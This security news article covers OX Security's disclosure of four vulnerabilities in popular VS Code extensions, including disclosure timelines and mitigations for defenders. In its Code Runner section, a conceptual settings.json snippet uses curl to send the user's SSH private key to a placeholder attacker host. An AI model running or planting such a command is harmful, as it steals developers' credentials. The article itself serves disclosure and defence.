The Discovery and Disclosure
OX Security researchers Moshe Siman Tov Bustan and Nir Zadok found the four vulnerabilities during a security audit of popular VS Code extensions. Three were assigned CVEs — CVE-2025-65717, CVE-2025-65716, and CVE-2025-65715 — and formally published on February 16, 2026. The fourth, affecting Microsoft’s own Live Preview extension, was never assigned a CVE.
The disclosure timeline tells its own story. OX Security disclosed the three CVE-tracked vulnerabilities in July and August 2025, reaching out through direct email, GitHub pages, and social media. The Microsoft Live Preview vulnerability was separately reported to Microsoft on August 7, 2025. By the time the CVEs were formally published on February 16, 2026 — roughly six months after initial disclosure — none of the three third-party maintainers had responded through any channel. Microsoft, for its part, did respond to the Live Preview disclosure — by quietly shipping a patch without notifying the researchers who reported it.
| CVE | Extension | Downloads | CVSS | Impact | Status |
|---|---|---|---|---|---|
| CVE-2025-65717 | Live Server | 72M+ | 9.1 Critical | Remote file exfiltration | Unpatched |
| CVE-2025-65716 | Markdown Preview Enhanced | 8.5M+ | 8.8 High | JavaScript execution, port scanning, data exfiltration | Unpatched |
| CVE-2025-65715 | Code Runner | 37M+ | 7.8 High | Arbitrary code execution, reverse shells | Unpatched |
| None assigned | Microsoft Live Preview | 11M+ | High (est.) | XSS to file enumeration and credential theft | Patched (v0.4.16) |
What makes these findings significant is not just the severity of the individual vulnerabilities. It is where they were found: inside legitimate, widely trusted extensions that have been in continuous use for years. These are not rogue packages planted in the marketplace by threat actors. They are the tools that developers install on day one and never think about again.
Table note: Microsoft Live Preview has no official CVSS score assigned because no CVE was issued. The “High (est.)” rating in the table reflects the OX Security researchers’ characterization of the flaw’s impact, confirmed by the September 2025 patch Microsoft silently shipped. See OX Security’s Live Preview advisory: https://www.ox.security/blog/xssinlivepreview/
CVE-2025-65717: Live Server — Remote File Exfiltration via Localhost
Live Server is one of the most popular VS Code extensions ever published, with more than 72 million downloads. It starts a local development HTTP server and automatically reloads the browser when files in the workspace change, enabling developers to preview their work in real time. The extension runs on localhost:5500 by default and supports configurable options for the server root, port, host, proxy settings, and HTTPS.
The vulnerability is simple and devastating. When Live Server is running, the local HTTP server it creates is reachable from any web page the developer visits in their browser — not just pages in their own project. An attacker can host a malicious HTML page containing JavaScript that sends requests to http://localhost:5500, recursively crawls all files served by the development server, and transmits them to an attacker-controlled domain.
The attack requires no elevated privileges, no complex exploitation techniques, and no prior access to the developer’s machine. The attacker sends a link. The developer clicks it while Live Server is running in the background. That is the entire attack chain.
“Attackers only need to send a malicious link to the victim while Live Server is running in the background.” — OX Security, CVE-2025-65717 Advisory
The potential impact is severe. A developer’s workspace typically contains source code, configuration files, environment variable files with API keys and database credentials, SSH keys, and other sensitive assets. If a .env file with production credentials is sitting in the project directory — and in many development workflows, it is — the attacker gets those credentials. If the developer is working on infrastructure-as-code, the attacker gets cloud deployment configurations, potentially including access keys for AWS, Azure, or GCP resources.
This vulnerability affects all versions of Live Server (v5.7.9 and below). As of this writing, it remains unpatched, and the maintainer has not responded to any disclosure attempts.
CVE-2025-65715: Code Runner — Arbitrary Code Execution via Settings
Code Runner has more than 37 million downloads and is used to execute code snippets directly from the VS Code editor. It supports dozens of programming languages and reads its execution commands from a global configuration file: VS Code’s settings.json.
OX Security found that a crafted entry in this configuration file is enough to trigger arbitrary code execution, including reverse shells. The extension reads execution commands from the global config and runs them without sufficient validation, meaning an attacker who can modify that file controls what gets executed.
There are two primary attack paths. The first is social engineering: an attacker convinces a developer to paste a malicious configuration snippet into their settings.json, disguised as a helpful customization shared through a Slack channel, email, forum post, or tutorial. The second is through a compromised extension — another installed extension with write access to the filesystem could silently modify the configuration file, planting the malicious entry without the developer’s knowledge.
# Example attack scenario (conceptual):
# A malicious settings.json entry could replace a language executor
# with a reverse shell or data exfiltration command
"code-runner.executorMap": {
"python": "bash -c 'python $fileName && curl -X POST
https://attacker.example/exfil -d @~/.ssh/id_rsa'"
}
The second attack path is particularly concerning because it represents a chaining opportunity. If any other extension on the system is compromised — whether through a supply chain attack, a marketplace poisoning campaign, or a vulnerability of its own — it can leverage Code Runner as an execution engine by silently editing a configuration file. This transforms a relatively minor compromise in one extension into full remote code execution through another.
Code Runner remains unpatched across all versions, and the maintainer has not responded to disclosure.
CVE-2025-65716: Markdown Preview Enhanced — JavaScript Execution via Markdown
Markdown Preview Enhanced has over 8.5 million downloads and provides rich rendering of Markdown files directly inside VS Code. The vulnerability allows an attacker to execute arbitrary JavaScript code by crafting a malicious Markdown file. When a developer opens the file — even just to preview it — the embedded scripts execute automatically.
The executed JavaScript can perform local port enumeration, scanning the developer’s machine to map out which services and applications are running. It can then exfiltrate this data, along with any accessible file contents, to an attacker-controlled domain. This gives the attacker a detailed map of the developer’s local environment: what services are running, what ports are open, and what data is accessible.
“A malicious Markdown file could trigger scripts or embedded content that collects information about open ports on the victim’s machine.” — OX Security Researchers Moshe Siman Tov Bustan and Nir Zadok
The attack vector here is a poisoned file. Markdown files are ubiquitous in software development — every repository has a README.md, every project has documentation files, and developers routinely open Markdown files from external sources during code review, dependency evaluation, or onboarding. An attacker who can place a malicious .md file in a repository that a developer clones or reviews gains automatic code execution the moment the file is previewed.
This vulnerability is also unpatched, with no response from the maintainer.
Microsoft Live Preview — The Silently Patched XSS
The fourth vulnerability was found in Microsoft’s own Live Preview extension, which has over 11 million downloads. Live Preview launches an in-editor browser for previewing HTML files during development. OX Security discovered a reflected cross-site scripting flaw rooted in the extension’s handling of file-not-found errors: the relativePathFormatted parameter passed to the error page was not sanitized before being reflected back to the browser, allowing injected JavaScript to execute. That vulnerability allowed a malicious web page to enumerate files on the developer’s machine and exfiltrate credentials, access keys, and other secrets through specially crafted JavaScript requests targeting the localhost.
The researchers reported the issue to Microsoft on August 7, 2025. Microsoft initially classified it as low severity, citing the requirement for user interaction. Then, on September 11, 2025, Microsoft quietly released version 0.4.16, which addressed the XSS vulnerability — without notifying the OX Security researchers who reported it. The fix, confirmed by OX Security after retesting, was an escapeHTML function applied to the previously unescaped relativePathFormatted parameter.
“However, on September 11, 2025 — without notifying us — Microsoft quietly released a patch addressing the XSS security issues we reported. We only recently discovered that this patch had been deployed.” — OX Security Advisory
No CVE was assigned to this vulnerability. Microsoft did not publicly acknowledge the security fix in any advisory or release notes. The researchers received no credit. Users who had the extension installed would have received the patched version through VS Code’s automatic update mechanism, but without any notification that a security issue had been addressed or any indication that they should verify they were running the updated version.
Why This Is Different from Malicious Extensions
The VS Code Marketplace has a well-documented history of malicious extensions. Throughout 2025, this problem accelerated dramatically. According to data published by ReversingLabs in December 2025, malware detections involving VS Code extensions nearly quadrupled during the year, rising from 27 cases in 2024 to 105 in the first ten months of 2025. Campaigns ranged from brandjacking attacks impersonating popular tools like Prettier and Material Icon Theme to sophisticated multi-stage malware chains deploying stealers, cryptocurrency miners, and remote access trojans. ReversingLabs also found attackers exploiting a Marketplace loophole that allowed malicious extensions to reuse the names of previously removed packages, and documented a campaign that compromised a legitimate extension by merging a malicious pull request on GitHub.
In October 2025, Wiz Research disclosed a separate systemic risk it had uncovered and worked with Microsoft to remediate: more than 550 validated secrets leaked across more than 500 extensions in the VS Code and Open VSX marketplaces. The secrets included API keys for AI providers, cloud platform credentials, and database connection strings. In more than 100 cases, the leaked secrets were Personal Access Tokens that would allow an attacker to push malicious updates directly to the extension’s entire install base, representing a potential automatic delivery path to more than 150,000 developer machines. Wiz first reported the issue to Microsoft in late March and April 2025; Microsoft implemented secret scanning across VS Code Marketplace and blocked extensions containing verified secrets, with the fix announced publicly in October 2025.
These are all serious threats, but they share a common characteristic: they involve either intentionally malicious code planted by threat actors or operational security failures by publishers. In both cases, the defense model is conceptually straightforward — vet publishers, inspect packages, limit installs to trusted sources.
The OX Security findings are a fundamentally different category of risk. These are not malicious extensions. They are legitimate, widely adopted, professionally maintained tools with years of continuous use and tens of millions of installations. They were not compromised or tampered with. The vulnerabilities exist in the extensions’ own code, in the way they interact with localhost services, render untrusted content, and handle configuration files. No amount of publisher vetting or marketplace scanning would have caught these flaws, because they are not malware — they are architectural weaknesses in trusted software.
Malicious extensions are planted by threat actors and can be detected through code analysis and publisher vetting. Vulnerable extensions are written by legitimate developers and contain architectural weaknesses that no marketplace scanner will flag. Defending against the first requires better gatekeeping. Defending against the second requires a fundamentally different approach to how organizations manage developer tooling.
The Broader IDE Supply Chain Problem
VS Code extensions run with broad access to local files, terminals, and network resources. That is not a bug — it is the design model. Extensions need filesystem access to provide language support, terminal access to run code, and network access to enable features like live preview and remote development. The permissions model is inherently permissive because the functionality developers demand requires it.
This creates a structural problem. Every extension installed on a developer’s machine is, in effect, a small application with administrative-level access to the development environment. As OX Security put it in their advisory, extensions are like “little admins living inside your IDE,” each one with broad capabilities and a direct connection to the development machine.
Developer workstations are among the highest-value targets in any organization. They routinely contain source code repositories, API keys for production services, cloud provider credentials, database connection strings, SSH keys, CI/CD pipeline configurations, and access tokens for internal systems. A successful compromise of a single developer workstation can give an attacker the credentials and access needed to move laterally through an organization’s entire infrastructure.
The four vulnerabilities disclosed by OX Security demonstrate that this risk is not theoretical. CVE-2025-65717 alone could exfiltrate every file in a developer’s project directory — including environment files, configuration files, and source code — with nothing more than a single clicked link. Combined with the Code Runner vulnerability, an attacker could not only steal data but also establish persistent remote access through a reverse shell.
The problem extends beyond VS Code. OX Security confirmed that the vulnerabilities also affect Cursor and Windsurf, the AI-powered IDEs built on VS Code’s extension ecosystem. As AI coding assistants drive increasing reliance on IDE extensions and accelerate development velocity, the attack surface is expanding. Every new extension installed, every new integration enabled, and every new capability added is another potential entry point.
The Accountability Gap
The disclosure timeline for these vulnerabilities exposes a systemic failure in how the extension ecosystem handles security. OX Security disclosed the three CVE-tracked vulnerabilities in July and August 2025. They contacted maintainers through every available channel: email, GitHub pages, and social networks. By February 2026, when the CVEs were published — roughly six months after the initial disclosures — they had received zero responses from three of the four affected parties. The Microsoft Live Preview vulnerability was reported separately on August 7, 2025, and received a silent patch without researcher notification.
This is not a case of missed emails or overlooked GitHub issues. It is a pattern that reveals the absence of any accountability framework for extension security. The maintainers of extensions with tens of millions of installations have no contractual obligation to respond to security reports, no mandated disclosure timelines, no requirement to issue patches within any defined period, and no consequences for ignoring critical vulnerabilities indefinitely. Six months of silence on a critical vulnerability affecting tens of millions of installations is not an oversight — it is the natural outcome of a system with no enforcement mechanism.
“The lack of response from extension maintainers, despite months of responsible disclosure attempts through multiple channels, underscores a systemic problem: there is no accountability framework for extension security, and no incentive structure to ensure timely remediation of critical vulnerabilities.” — OX Security
Microsoft’s handling of the Live Preview vulnerability was better in outcome — the flaw was patched — but problematic in process. Initially classifying a file exfiltration vulnerability as low severity, then shipping a fix without notifying the researchers or issuing a CVE, sets a poor precedent. Silently patching security vulnerabilities means that organizations managing their own update schedules cannot prioritize the fix, security teams cannot assess their exposure, and the broader community cannot learn from the issue.
The current state is untenable. Extensions with installation counts in the tens of millions are effectively critical infrastructure for the software development ecosystem. They run on machines that hold the keys to production systems, cloud environments, and source code repositories. Yet they operate under an “install at your own risk” model with no security SLAs, no mandatory response timelines, and no enforcement mechanism for even the most basic vulnerability management practices.
Notably, as of publication, Microsoft as the VS Code Marketplace operator has taken no public action against the three unpatched extensions despite the CVE disclosures. Unlike the silent patch it issued for its own Live Preview extension, Microsoft has made no statement about whether it will add warnings, rate-limit, or remove extensions for which critical CVEs exist and maintainers have gone silent. OX Security has called for mandatory security review processes before extensions are published, enforceable response requirements for maintainers, and automated vulnerability scanning across the Marketplace — none of which were in place at the time the CVEs were published.
What Defenders Should Do Now
Immediate Actions
- Disable Live Server when not actively previewing. The vulnerability only works when the local HTTP server is running. Do not leave it running in the background while browsing external sites. If you need a local development server, consider alternatives that bind exclusively to
127.0.0.1and implement CORS restrictions. - Do not open untrusted Markdown files with Markdown Preview Enhanced installed. This includes README files from repositories you are evaluating but have not vetted. If you must preview Markdown from external sources, use a separate viewer that sandboxes JavaScript execution.
- Audit your
settings.jsonfor unexpected entries. If you use Code Runner, verify that the executor map has not been tampered with. Never paste configuration snippets from emails, chat messages, or unverified forum posts into your VS Code settings. - Update Microsoft Live Preview to version 0.4.16 or later. Verify the version number in your extensions panel. If auto-update is disabled, update manually now.
Organizational Measures
- Implement extension allowlists. Organizations should maintain approved lists of extensions and block installations of unapproved packages across managed developer environments. VS Code supports extension management through group policies and deployment profiles.
- Treat developer workstations as high-risk endpoints. Apply the same monitoring, endpoint detection, and network segmentation controls to development machines that you apply to production-adjacent systems. Developer machines hold credentials that are equivalent to production access.
- Restrict localhost exposure. Configure host-based firewalls on developer machines to restrict inbound and outbound connections on common development ports. Prevent development servers from being accessible to processes outside the intended workflow.
- Audit extension sprawl. Reduce the number of installed extensions to the minimum required for each developer’s role. More extensions means a larger attack surface and more maintenance overhead when vulnerabilities are disclosed.
- Monitor for configuration changes. Implement file integrity monitoring on critical VS Code configuration files, especially
settings.json, to detect unauthorized modifications that could indicate compromise.
As of February 19, 2026, CVE-2025-65717 (Live Server), CVE-2025-65716 (Markdown Preview Enhanced), and CVE-2025-65715 (Code Runner) are all unpatched with no response from maintainers. The mitigations above are workarounds, not fixes. Monitor the CVE entries and extension changelogs for updates, and consider whether unpatched extensions with known critical vulnerabilities should remain installed in your environment.
Key Takeaways
- Trusted extensions are not safe extensions. These vulnerabilities were found in legitimate, widely used tools with years of history and tens of millions of installations. The trust model that developers apply to popular, well-known extensions is not supported by the actual security posture of those extensions.
- The IDE is a high-value target. Developer environments hold credentials, source code, and access to production infrastructure. A single compromised extension — or a single vulnerability in a legitimate one — can provide everything an attacker needs for lateral movement and organizational compromise.
- The extension accountability model is broken. There is no mechanism to enforce security responses from maintainers of extensions used by millions of developers. Roughly six months of silence on critical vulnerabilities is not acceptable for software that runs with administrative access on enterprise development machines.
- AI-powered IDEs inherit the same risks. Cursor, Windsurf, and other VS Code-based IDEs share the same extension infrastructure and the same vulnerabilities. The proliferation of AI coding tools is expanding this attack surface, not shrinking it.
- Organizations need to treat extensions as part of their supply chain. Extension management should be subject to the same governance, monitoring, and risk assessment processes applied to any other third-party software that runs on corporate infrastructure with access to sensitive assets.
The fundamental lesson of these disclosures is not that VS Code extensions are uniquely dangerous. It is that the developer toolchain — the IDEs, extensions, package managers, and configuration systems that developers rely on every day — has become a first-class attack surface, and it is not being secured like one. While organizations invest heavily in protecting production environments, cloud infrastructure, and end-user endpoints, the machines where code is actually written remain governed by a trust model built for convenience, not security. That gap is exactly where attackers are looking.
Primary sources: OX Security main advisory (four-vulnerability overview, disclosure timeline, “little admins” quote); OX Security CVE-2025-65717 Advisory (Live Server technical detail, disclosure date August 2025); OX Security CVE-2025-65715 Advisory (Code Runner RCE technical detail); OX Security Live Preview Advisory (XSS root cause, reflected XSS via relativePathFormatted, August 7 disclosure date, September 11 silent patch, escapeHTML fix confirmed); CSO Online (June 2025 disclosure start date, full CVE summary); The Hacker News (CVE impact descriptions); BleepingComputer (June 2025 disclosure start date, Cursor/Windsurf confirmation); The Cyber Express (CVSS score table, unpatched status); Security Affairs (additional CVE detail); ReversingLabs (27 vs. 105 malware detection statistics, December 2025); Wiz Research (550+ secrets, PAT leakage, 150,000 install base risk, October 2025)